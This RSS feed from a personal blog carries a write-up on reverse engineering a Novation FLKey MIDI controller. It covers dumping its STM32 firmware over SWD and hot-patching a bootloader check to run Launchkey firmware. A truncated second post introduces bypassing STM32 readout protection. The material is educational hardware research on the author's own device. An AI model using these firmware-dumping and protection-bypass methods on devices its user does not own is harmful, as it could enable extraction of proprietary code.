<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>KernelPicnic</title>
    <description></description>
    <link>//www.kernelpicnic.net/</link>
    <atom:link href="//www.kernelpicnic.net/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Sat, 06 May 2023 20:51:16 +0000</pubDate>
    <lastBuildDate>Sat, 06 May 2023 20:51:16 +0000</lastBuildDate>
    <generator>Jekyll v3.9.3</generator>
    
      <item>
        <title>Reverse engineering a Novation FLKey - Part I</title>
        <description>&lt;p&gt;A few months ago I bought a Novation FLKey to use as a MIDI controller for
several devices which aren’t connected to a DAW.&lt;/p&gt;

&lt;p&gt;Of course, it later turned out that due to a combination of subtle quirks or
missing features in other equipment, the planned setup wouldn’t be possible
without purchasing yet &lt;em&gt;more&lt;/em&gt; equipment, or just using a DAW. However, as I use
Ableton, I suddenly found myself needing to use a controller designed for use
with a FruityLoops workflow with Ableton instead &lt;sup&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Although Ableton allows custom MIDI mappings, and the controller itself allows
pots and pads to be remapped using Novation’s Components software, when looking
at the Launchkey and FLKey controllers online I started to wonder about just
&lt;em&gt;how&lt;/em&gt; different they actually were.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/novation-comparison.png&quot; alt=&quot;Suspiciously similar.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given that their price was the same, and they were almost visually identical,
surely the extent of the FLKey and LaunchKey differences were some silk screens,
the colour of the plastic housing, and a slightly different firmware build?&lt;/p&gt;

&lt;p&gt;If this was true, perhaps I was just a firmware update away from “out of the
box” first class Ableton support?&lt;/p&gt;

&lt;p&gt;Naturally, the first point of call was to understand where to get the firmware
updates, how firmware updates were installed, and then whether it was possible
to just … download and flash the Launchkey firmware onto the FLKey &lt;strong&gt;without&lt;/strong&gt;
any additional messing around.&lt;/p&gt;

&lt;p&gt;Of course, nothing is ever that simple.&lt;/p&gt;

&lt;h2 id=&quot;components-and-web-midi&quot;&gt;Components and Web MIDI&lt;/h2&gt;

&lt;p&gt;After reading the documentation, it appeared that both firmware updates and
configuration of the FLKey was performed using a Novation web application called
“Components”. This web application could be used with several other Novation
devices to allow in-browser configuration, management, and update using Web MIDI.&lt;/p&gt;

&lt;p&gt;Interestingly, when this application was loaded, even without a controller
connected, an API call was made which returned a list of available firmware
updates for &lt;strong&gt;&lt;em&gt;all&lt;/em&gt;&lt;/strong&gt; supported controllers. This was convenient as the firmware
for a given product was just an HTTP GET call away; no authentication or
additional ceremony needed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/firmware-download.png&quot; alt=&quot;Web MIDI? Neat!&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The question at this point was how these updates were applied to the controller
from the browser. Given Web MIDI was used by the rest of the application, and no
additional drivers or companion applications were required, it seemed likely
that the updates were also performed over MIDI.&lt;/p&gt;

&lt;p&gt;However, rather than try and wrangle a minified Javascript application to
understand the update process, it seemed more appropriate to instead download a
few firmware updates and dig through them to try and determine their format.&lt;/p&gt;

&lt;p&gt;After opening a handful of downloaded update files in Binary Ninja, it was
quickly apparent that the update appeared to be made up of a series of variable
sized chunks, with each chunk beginning with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xF0&lt;/code&gt;, and ending with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xF7&lt;/code&gt;.
Some quick Googling indicated that this structure matched what would be expected
to be found inside of a file containing MIDI SysEx (System Exclusive) messages.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/binja-flkey.png&quot; alt=&quot;SysEx messages in an update file.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given this, it seemed likely that this update could potentially be applied to
a connected device using a command-line tool like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt;; rather than using
the “Components” application. If this was possible, could the latest Launchkey
firmware also be flashed directly over an FLKey?&lt;/p&gt;

&lt;p&gt;To find out, the FLKey first needed to be booted into the bootloader.&lt;/p&gt;

&lt;h2 id=&quot;bootloader&quot;&gt;Bootloader&lt;/h2&gt;

&lt;p&gt;By holding down the “Octave +” and “Octave -“ buttons on the FLKey when applying
power, the FLKey would enter its bootloader.&lt;/p&gt;

&lt;p&gt;The FLKey bootloader provided information about the loaded “application”
version, as well as a detailing that there was a separate “bootloader” version.
As these were listed separately, it seemed likely that bootloader updates were
able to be flashed separately to the main application; likely done to allow a
firmware update to fail without bricking the device. This was good news, as it
meant there was potentially a way to recover the device if “bricked” during
attempts to load the Launchkey firmware.&lt;/p&gt;

&lt;p&gt;The first point of call was to see whether the Launchkey firmware downloaded
from “Components” could be flashed directly onto the FLKey using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt; with
no additional effort. In order to confirm this, the following command was run
from a Linux machine with the FLKey connected (in bootloader mode).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;amidi -d -p hw:2,0,0 -i 50 -s ~/launchkey-mk3-207.syx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;…However, the FLKey did not seem to react at all when trying this. The
complete lack of reaction from the FLKey hinted that the firmware was either
not being sent correctly, or the FLKey was immediately rejecting the update. In
order to check whether the issue was related to not sending the update in a way
that the FLKey was expecting, a copy of the latest FLKey firmware was attempted
to be sent to the connected FLKey using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt; in the same way.&lt;/p&gt;

&lt;p&gt;When calling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt; command using the FLKey firmware update file, the FLKey
immediately started to display an animation across the pads - indicating that
the update was being transferred to the unit. This confirmed that previously the
FLKey was likely rejecting the Launchkey firmware - and quickly, too.&lt;/p&gt;

&lt;p&gt;Given how quickly the FLKey rejected the previously attempted Launchkey firmware,
it seemed likely that something at the beginning of the firmware update was
being used to determine that the Launchkey firmware was not valid for the
device.&lt;/p&gt;

&lt;p&gt;As a result, it was time to look at the contents of the updates and try and
work out how the FLKey was able to reject the “incorrect” update so quickly.&lt;/p&gt;

&lt;h2 id=&quot;firmware-updates&quot;&gt;Firmware updates&lt;/h2&gt;

&lt;p&gt;Before digging into the firmware updates, it seemed appropriate to become more
familiar with SysEx. Luckily, there is a significant amount of information
available online about MIDI and SysEx; including the original MIDI specification,
and detailed implementation specific information from vendors like
&lt;a href=&quot;https://wiki.fractalaudio.com/wiki/index.php?title=MIDI_SysEx&quot;&gt;Fractal Audio&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, according to the “Standard MIDI Files 1.0” section of “The Complete
MIDI 1.0 Detailed Specification (v96.1)” &lt;sup&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; there did not appear
to be any &lt;em&gt;standard&lt;/em&gt; specification for how data is structured inside of SysEx
messages. It appeared that the implementation details related to SysEx was
entirely up to the vendor to decide. Fun.&lt;/p&gt;

&lt;p&gt;As a result, both the firmware running on the FLKey and the firmware updates
previously downloaded from “Components” were likely the best source of
information about how Novation had designed their firmware update process.&lt;/p&gt;

&lt;p&gt;By comparing a set of previously downloaded firmware updates for the FLKey and
Launchkey with a hex editor, a set of common patterns emerged relating to both
the structure of the updates, as well as the potential purpose of a number of
fields within the SysEx messages. These patterns identified that there appeared
to be several different message types within an update, differentiated only by
their payload and the two bytes proceeding. Given their location, these two
proceeding bytes were determined to likely indicate the type of the message
which followed (herein referred to as a “command”).&lt;/p&gt;

&lt;p&gt;Although the overall size of different message types was variable, the following
structure was found to be consistent across all commands within an update.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0xF0           - SysEx Start of Message (SOX)
0x00 0x20 0x29 - Novation Manufacturer ID [0x20 0x29]
0x00 0x71      - Command
[...]          - Payload
0xF7           - SysEx End of Message (EOX)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Only a handful of commands were observed in the analysed firmware updates. These
commands were tentatively labelled as follows; based on both their position in
the update file, as well as any their contents.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00 0x71 - START
0x00 0x7C - METADATA
0x00 0x72 - DATA
0x00 0x73 - END
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;During the comparison of two versions of Launchkey firmware against the only
published FLKey firmware, the structure of the first command in a firmware
update (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;START&lt;/code&gt;) was sketched out. Based on the first 2-bytes of this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;START&lt;/code&gt;
command matching across multiple versions of firmware for the same device, it
was believed that these 2-bytes likely contained &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manufacturer&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;model&lt;/code&gt;
identifiers. For the given device, these values were found to be as a follows.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x02 0x0F - Launchkey MK3
0x02 0x11 - FLKey
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a full example, the overall structure of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;START&lt;/code&gt; command (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00 0x71&lt;/code&gt;) from
a Novation (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x02&lt;/code&gt;) Launchkey (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0F&lt;/code&gt;) update was able to be roughly sketched
into the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/sysex-start.png&quot; alt=&quot;Getting there...&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given these identifiers were so close to the start of the update, it seemed
possible that the FLKey bootloader was using these fields to determine whether
a firmware update was the correct update for the device, and if not, ignore it
entirely. In order to confirm whether this was the case, a copy of the original
Launchkey firmware was modified with the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manufacturer&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;model&lt;/code&gt;
fields set to the values taken from an FLKey update (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x02 0x11&lt;/code&gt;). This newly
patched firmware update was then sent to the FLKey using the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt;
commands used previously.&lt;/p&gt;

&lt;p&gt;Almost immediately, the FLKey began to accept this patched Launchkey update;
displaying the same pad animation as it did when receiving a valid FLKey update.
Unfortunately, as soon as the update had finished sending, the FLKey rebooted
and displayed no signs of life. No lights. No display. Nothing. In a word:
&lt;em&gt;Fucked&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Luckily, due to good design decisions by Novation, the bootloader had been left
untouched by this update process. Only the application image had been replaced.
This allowed the FLKey to be once again booted into the bootloader, and the
patched franken-firmware replaced with the an original unmodified FLKey update.&lt;/p&gt;

&lt;p&gt;After this update had complete, the FLKey rebooted and was operational once
again. Phew.&lt;/p&gt;

&lt;h2 id=&quot;where-to-next&quot;&gt;Where to next?&lt;/h2&gt;

&lt;p&gt;As the easy approach didn’t work, from here there were a few options available:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Attempt to determine the firmware update encoding from the SysEx files.&lt;/li&gt;
  &lt;li&gt;Look for a non-invasive way of dumping the firmware from the device to
reverse.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Rather than try and brute-force the firmware encoding from a sea of possible
encoding schemes, popping the case on the FLKey to look for debug ports and
test points was determined to be the best way forward. The ideal state would be
a way to dump the firmware from the device; allowing a pathway towards
understanding how firmware updates were encoded, and why the FLKey bootloader
was unable to boot the Launchkey firmware.&lt;/p&gt;

&lt;h2 id=&quot;internals&quot;&gt;Internals&lt;/h2&gt;

&lt;p&gt;When disassembling the FLKey there were two immediately interesting features
which stood out. The first was that the several PCBs inside the FLKey had a
labels and silkscreens indicating that the board were originally designed for
Launchkey series devices. The second was that the “compute” board had a tag
connect footprint for a debug interface (!).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-compute.jpg&quot; alt=&quot;Launchkey, eh?&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, the FLKey had a 10-pin tag connect footprint, which meant either
buying a new tag connect adapter, or not using tag connect.&lt;/p&gt;

&lt;p&gt;As the traces between the STM32 and J1 were short, were not connected to any 
other test points, and used tented vias, it was deemed easier to just order an
appropriate tag connect adapter. Although it would have been possible to solder
directly to the tag connect pads, or use a fibreglass pencil to remove solder
mask from the adjacent vias to solder onto, having a 10-pin tag connector
adapter on hand for future seemed like a far better better and less fiddly idea.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-tag-connect.jpg&quot; alt=&quot;Nicely labelled PCB!&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While waiting for an appropriate tag connect adapter to arrive, the J1 (“SWD
DEBUG”) footprint was pinned out using a multi meter set to continuity mode.
Using the pinout in the STM32F401 (LQFP64) data sheet &lt;sup&gt;&lt;a href=&quot;#3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, it
was possible to determine the pin-out of this debug interface, which was as
follows.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-debug-port.png&quot; alt=&quot;Abridged J1 pin-out.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of course, this may have been all for naught if Novation had shipped the FLKey
with Read Out Protection (RDP) enabled. This feature, if enabled, would have
prevented using a debugger to read out the firmware (level 1), or even prevented
attaching a debugger in the first place (level 2) &lt;sup&gt;&lt;a href=&quot;#4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;. However,
it’s worth noting that these features are not infallible and can, occasionally,
be bypassed with varying levels of effort &lt;sup&gt;&lt;a href=&quot;#5&quot;&gt;5&lt;/a&gt;, &lt;a href=&quot;#6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;As J1 had been pinned-out back to STM32, the behaviour of the STM32 when
attempting to connect a debugger could inform what RDP level was in use.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;If a debugger could not connect, the STM32 was likely in RDP level 2.&lt;/li&gt;
  &lt;li&gt;If a debugger connected but flash could not be read, the STM32 would be RDP level 1.&lt;/li&gt;
  &lt;li&gt;If a debugger connected and flash could be read, the STM32 would be RDP level 0.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;dumping-the-firmware&quot;&gt;Dumping the firmware&lt;/h2&gt;

&lt;p&gt;After the tag connect cable arrived, it was confirmed that the STM32 was in RDP
level 0 - that is to say, there were no restrictions.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/openocd-no-rdp.png&quot; alt=&quot;Successful read from flash.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As a debugger had been successfully connected to the STM32, the first point of
call was to dump the flash. This would both serve as a “rip-cord”, allowing a way
to recover the device in the case that future attempts to load the Launchkey
firmware killed the boot loader, as well as allowing static analysis of the
firmware to reverse engineer the update process.&lt;/p&gt;

&lt;p&gt;To perform this firmware dump the OpenOCD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flash read_bank&lt;/code&gt; commands were used -
allowing the entire contents of the STM32 flash to be witten to file on the
machine hosting OpenOCD. The result of this process was a nice and shiny 256KiB
file containing both the application image and the bootloader for the FLKey.&lt;/p&gt;

&lt;p&gt;Next up, analysis!&lt;/p&gt;

&lt;h2 id=&quot;finding-north&quot;&gt;Finding North&lt;/h2&gt;

&lt;p&gt;In order to find out how the firmware updates were encoded, and why the FLKey
bootloader was refusing to boot the Launchkey update, the newly dumped firmware
would need to be analysed. Firstly, however, the address that the firmware was
loaded at in memory as well as the start address would need to be identified.&lt;/p&gt;

&lt;p&gt;As the FLKey is based on the STM32F401 it seemed likely that firmware was loaded
at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8000000&lt;/code&gt; (the default). If not, then the configured address could be read
out of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BOOT_ADD0&lt;/code&gt; option bytes.&lt;/p&gt;

&lt;p&gt;In terms of start address, this was able to be identified using the value of the
4-byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reset&lt;/code&gt; vector at the beginning of the dumped firmware. This is easily
identifiable due to the well known and well documented structure of the
Cortex-M4 vector table &lt;sup&gt;&lt;a href=&quot;#7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Once these values were known, the dumped firmware could be loaded into Binary
Ninja, an appropriate CMSIS-SVD&lt;sup&gt;&lt;a href=&quot;#8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt; file loaded to assist with
identification of peripherals, and auto-analysis kicked off at the correct
address.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/dump-vector-table.png&quot; alt=&quot;Loaded firmware with vectors labelled.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Poking through the function at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reset&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x800792d&lt;/code&gt;), the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0800037a&lt;/code&gt;)
function was able to be located by identifying the bring-up code in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reset&lt;/code&gt; -
responsible for setting up clocks, peripherals, interrupts, floating point
extensions, etc - and following the next branch.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-boot-main.png&quot; alt=&quot;Follows SystemInit? Complex? It's probably main.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Although it would be possible to painstakingly follow every branch and attempt
to decipher what was going on, branching out from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; in a linear fashion,
it was much easier to use the tools at available to speed things up. By
attaching a debugger using the same interface used to dump the firmware, it was
possible to greatly speed up the process of finding relevant “interesting”
sections. Starting with where the patched Launchkey firmware was failing to
load.&lt;/p&gt;

&lt;h2 id=&quot;patching-like-its-1989&quot;&gt;Patching like it’s 1989&lt;/h2&gt;

&lt;p&gt;To work out where the FLKey bootloader was failing to load the Launchkey
firmware, the patched Launchkey firmware was once again loaded onto the FLKey
using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amidi&lt;/code&gt;. After this had finished loading, and the FLKey had rebooted into
a non-working state, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; was connected to the FLKey’s STM32 using the GDB
server exposed by OpenOCD.&lt;/p&gt;

&lt;p&gt;After connecting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; to the FLKey’s STM32 while it was in this “unresponsive”
state, the current address of the program counter could be interrogated to
understand where in the firmware it was getting stuck - in this case, at
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8001ecc&lt;/code&gt;. Jumping to this address inside of Binary Ninja, it was quickly
apparent this was an &lt;strong&gt;intentional&lt;/strong&gt; infinite loop.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-loop.png&quot; alt=&quot;&amp;lt;code&amp;gt;for (;;) { // spin, spin, spin! }&amp;lt;/code&amp;gt;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point, it was unclear whether this was due to some boot process
encountering an unrecoverable error due to subtle difference in hardware, or
whether this was some sort of intentional “you bought an FLKey, you get an
FLKey” scheme. To understand which of these was the case, the code just prior
to this infinite loop needed to be analysed.&lt;/p&gt;

&lt;p&gt;The overall structure of the function which contained the infinite loop
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8001eb0&lt;/code&gt;) indicated that a function at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8004390&lt;/code&gt; was called, and if the
result from this function was &lt;em&gt;not&lt;/em&gt; zero, then the branch with the infinite
loop should be taken. If the result from this function &lt;em&gt;was&lt;/em&gt; zero, then the
infinite loop would not be hit. Whatever operations &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8004390&lt;/code&gt; was performing,
it responsible for controlling whether this infinite loop would be triggered.&lt;/p&gt;

&lt;p&gt;Thankfully, this function was small and relatively self-contained. It did not
take long to determine that this function was making two calls to an additional
function which not referenced anywhere else in the firmware (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8004334&lt;/code&gt;). If
either of these calls returned a non-zero status, then the function which
controlled whether the infinite loop would be entered would return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;;
triggering the infinite loop.&lt;/p&gt;

&lt;p&gt;Analysing the function at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8004334&lt;/code&gt;, this appeared to be looping over the
application image which the bootloader was attempting to load and would return
a non-zero status if a passed string appeared anywhere within the image. The
strings passed to these two function calls were &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yekhcnuaL&lt;/code&gt; and &lt;code&gt; 3KM&lt;/code&gt;.
Due to the way the looping was implemented in this “string search” function
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x08004334&lt;/code&gt;), the strings would be reversed when looping over the application
image.&lt;/p&gt;

&lt;p&gt;As a result of these operations, this function was effectively saying “If the
strings &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Launchkey&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MK3 &lt;/code&gt; appear &lt;strong&gt;&lt;em&gt;anywhere&lt;/em&gt;&lt;/strong&gt; in the application image
attempting to be booted, then don’t load it. Instead, enter an infinite loop.”&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2023/novation/flkey-is_launchkey.png&quot; alt=&quot;Basically, &amp;quot;fuck you.&amp;quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Was this some sort of rights management scheme, or perhaps a feature to protect
against damage if the wrong firmware was somehow loaded onto the device? There
was only one way to find out: Patch the branch like it’s 1989.&lt;/p&gt;

&lt;p&gt;As a debugger was attached to the running device, it was possible install a
breakpoint on return from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_launchkey&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8001eb0&lt;/code&gt;) function, and patch
the response to always be be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;; preventing the infinite loop branch from being
taken.&lt;/p&gt;

&lt;p&gt;After performing this hot-patch and continuing execution, the FLKey started to
successfully boot the Launchkey firmware: No magic smoke, no complaints. Neat!&lt;/p&gt;

&lt;h2 id=&quot;making-it-permanent&quot;&gt;Making it permanent&lt;/h2&gt;

&lt;p&gt;The next question was how to persist this update. As this was a debugger-applied
hot-patch, it was not persistent. To successfully boot the Launchkey firmware,
these shenanigans would be required every time the FLKey was powered on – not
exactly ideal. However, modification of the application image and the bootloader
in flash was not easily achievable directly using the debugger.&lt;/p&gt;

&lt;p&gt;As a result, the best pathway forward was to continue reversing the bootloader
in order to understand how the firmware updates were encoded. If this scheme
could be identified, updates would be able to be decoded, modified, and
re-encoded. This would allow these checks to be be patched out and the modified
firmware to be flashed onto the FLKey using the native update process. Allowing
an FLKey to be permanently turned into a Launchkey without ever opening the case.&lt;/p&gt;

&lt;p&gt;…but more on that later.&lt;/p&gt;

&lt;h2 id=&quot;thanks&quot;&gt;Thanks&lt;/h2&gt;

&lt;p&gt;Cheers to @SiouxDenim for once again proofreading this post and correcting my
terrible grammar.&lt;/p&gt;

&lt;p&gt;–&lt;/p&gt;

&lt;p&gt;&lt;sup&gt;
&lt;a name=&quot;1&quot; style=&quot;text-decoration: none&quot;&gt;1.&lt;/a&gt; At this point I should mention that I absolutely should have seen this coming. However, in my defence: &lt;em&gt;I am a moron&lt;/em&gt;.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;2&quot; style=&quot;text-decoration: none&quot;&gt;2.&lt;/a&gt; &lt;a href=&quot;https://archive.org/details/Complete_MIDI_1.0_Detailed_Specification_96-1-3&quot;&gt;“Complete MIDI 1.0 Detailed Specification (96.1)”&lt;/a&gt;.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;3&quot; style=&quot;text-decoration: none&quot;&gt;3.&lt;/a&gt; &lt;a href=&quot;https://www.st.com/resource/en/datasheet/stm32f401cb.pdf&quot;&gt;“DS9716 Rev 11”&lt;/a&gt; - Page 32 (Figure 12), and page 41 (Table 8).
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;4&quot; style=&quot;text-decoration: none&quot;&gt;4.&lt;/a&gt; &lt;a href=&quot;https://www.st.com/resource/en/application_note/an4701-proprietary-code-readout-protection-on-microcontrollers-of-the-stm32f4-series-stmicroelectronics.pdf&quot;&gt;“AN4701 Rev 3”&lt;/a&gt; - Page 6.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;5&quot; style=&quot;text-decoration: none&quot;&gt;5.&lt;/a&gt; &lt;a href=&quot;https://wrongbaud.github.io/replicant-slides/&quot;&gt;Matthew Alt - “Replicant: A Primer on Fault Injection Attacks”&lt;/a&gt;.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;6&quot; style=&quot;text-decoration: none&quot;&gt;6.&lt;/a&gt; &lt;a href=&quot;https://www.aisec.fraunhofer.de/en/FirmwareProtection.html&quot;&gt;Fraunhofer AISEC - “Shedding too much Light on a Microcontroller’s Firmware Protection”&lt;/a&gt;.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;7&quot; style=&quot;text-decoration: none&quot;&gt;7.&lt;/a&gt; &lt;a href=&quot;https://developer.arm.com/documentation/dui0553/latest/&quot;&gt;ARM DUI 0553B - Page 2-24 (Figure 2-2)&lt;/a&gt;.
&lt;/sup&gt;
&lt;br /&gt;
&lt;sup&gt;
&lt;a name=&quot;8&quot; style=&quot;text-decoration: none&quot;&gt;8.&lt;/a&gt; &lt;a href=&quot;https://github.com/ehntoo/binaryninja-svd&quot;&gt;Binary Ninja SVD Loader&lt;/a&gt;.
&lt;/sup&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Mar 2023 00:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2023/03/25/Reverse-engineering-a-Novation-FLKey-I.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2023/03/25/Reverse-engineering-a-Novation-FLKey-I.html</guid>
        
        
      </item>
    
      <item>
        <title>Messing with SWD - Part I</title>
        <description>&lt;p&gt;Over the last number of weeks I have been tearing down and performing research
into a device powered by an STM32F103x microcontroller. As this particular
device had RDP (Read-Out Protection) set to Level 1 it was not possible to
dump the firmware from the device. This meant any attempts to inspect the
contents of the flash via debugger would generate an immediate HF (Hard Fault).&lt;/p&gt;

&lt;p&gt;While searching for workarounds, I came across a paper by Johannes Obermaier
and Stefan Tatschner titled &lt;a href=&quot;https://www.aisec.fraunhofer.de/en/FirmwareProtection.html&quot;&gt;“Shedding too much Light on a Microcontroller’s Firmware Protection”&lt;/a&gt;.
Although &lt;a href=&quot;https://www.aisec.fraunhofer.de/content/dam/aisec/ResearchExcellence/woot17-paper-obermaier.pdf&quot;&gt;the paper&lt;/a&gt;
covers a number of attacks on the STM32, one piqued my interest. This attack,
under “3.3 Debug Interface Exploit” of the paper linked to above, exploits a
race condition between the SWD debug interface and the enforcement of the
readout protection. This allowed the authors to extract the firmware from a
read protected STM32F0 a word at a time.&lt;/p&gt;

&lt;p&gt;Now, I’m not able to do this attack, nor the paper, any justice here, so I
would recommend reading the full paper. It’s a fantastic read.&lt;/p&gt;

&lt;p&gt;From here I was left with a problem: I had no idea about any of the SWD inner
workings; all I knew was that it was exposed on the STM32F103x I was
targeting, that it was a ‘two wire’ debug interface, and that I could use
OpenOCD to interrogate it. This said, the authors of the paper above did
release a working exploit, but where’s the fun in running a exploiting
something if you don’t understand how it works, eh? :)&lt;/p&gt;

&lt;p&gt;As a result of all of this, I have spent many evenings poring over datasheets
